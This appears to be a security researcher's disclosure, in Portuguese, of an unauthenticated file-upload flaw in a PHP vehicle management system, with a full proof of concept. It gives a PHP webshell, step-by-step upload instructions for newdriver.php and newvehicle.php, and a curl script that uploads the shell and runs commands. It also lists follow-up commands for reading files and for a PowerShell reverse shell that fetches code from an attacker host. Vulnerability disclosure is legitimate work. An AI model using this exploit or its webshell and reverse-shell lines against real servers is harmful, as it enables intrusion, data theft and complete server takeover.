
Exploit de execução remota de código não autenticada para Vehicle Management System em PHP via upload de arquivo irrestrito em newdriver.php e newvehicle.php, com PoC e etapas detalhadas de reprodução.
| Campo | Detalhes |
|---|
| Produto | Vehicle Management System In PHP |
| Fornecedor | code-projects.org |
| Versão | V1.0 |
| Tipo de Vulnerabilidade | Upload de Arquivo Irrestrito levando à Execução Remota de Código (CWE-434) |
| Arquivos Afetados | newdriver.php, newvehicle.php |
| Parâmetro | photo (POST, multipart/form-data) |
| Autenticação Necessária | Não (Não Autenticado) |
| Pontuação CVSS | 10.0 Crítico |
| Vetor de Ataque | Remoto / Rede |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
O Vehicle Management System In PHP V1.0 da code-projects.org é vulnerável à Execução Remota de Código não autenticada via upload irrestrito de arquivo em newdriver.php (e identicamente em newvehicle.php).
A aplicação expõe um formulário de registro 'Novo Motorista' somente para administradores em newdriver.php que inclui um campo de upload de foto. No entanto, o endpoint não realiza nenhuma validação de sessão — qualquer atacante não autenticado pode acessá-lo diretamente sem ser redirecionado ao login. Além disso, o campo de upload de foto aceita qualquer tipo de arquivo, incluindo arquivos PHP, sem filtragem de extensão, validação de tipo MIME ou inspeção de conteúdo.
Um atacante pode:
newdriver.php sem qualquer sessão ou credenciais/picture/Isso resulta em Execução Remota de Código completa com os privilégios do processo do servidor web.
Requisição HTTP Não Autenticada
↓
newdriver.php (sem verificação de sessão)
↓
campo photo aceita arquivo .php (sem validação de tipo de arquivo)
↓
Shell salvo em /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — execução arbitrária de comandos do SO
Abra um navegador limpo sem sessão (janela anônima/privada). Navegue diretamente para o endpoint:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
O formulário Novo Motorista carrega com sucesso sem verificação de autenticação e sem redirecionamento ao login.

Crie um webshell simples de execução de comandos PHP:
<?php system($_GET['cmd']); ?>
Salve como shell.php (ou qualquer nome de arquivo .php).
Preencha os campos do formulário do motorista com quaisquer valores e selecione o webshell PHP como o upload da foto:
Nome do Motorista: test
Celular: 1234567890
Data de Entrada do Motorista: 2026-05-19
Identidade Nacional: test
Nº da Carteira: test
Data de Validade da Carteira: 2026-05-30
Endereço do Motorista: test
Foto: shell.php ← webshell PHP enviado aqui
Clique em Submit Query.


A aplicação responde com "Registration Completed!" — confirmando que o shell PHP foi aceito e salvo sem nenhuma validação.

Navegue até o shell enviado no diretório /picture/ e passe comandos do SO através do parâmetro cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
O servidor executa o comando e retorna a saída:
desktop-g1i9np3\dell

# Ler arquivos sensíveis
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# Listar raiz da web
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Reverse shell completo via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
A vulnerabilidade idêntica existe em newvehicle.php. Um atacante não autenticado pode acessar o formulário Adicionar Novo Veículo, enviar um webshell PHP através do campo de foto do veículo e obter RCE através do mesmo método.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Ambos os endpoints compartilham a mesma causa raiz: nenhuma validação de sessão e nenhuma restrição de upload de arquivo.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php e newvehicle.php ambos vulneráveis| Arquivo | Campo de Upload | Caminho de Armazenamento do Shell |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Pesquisador de Segurança Independente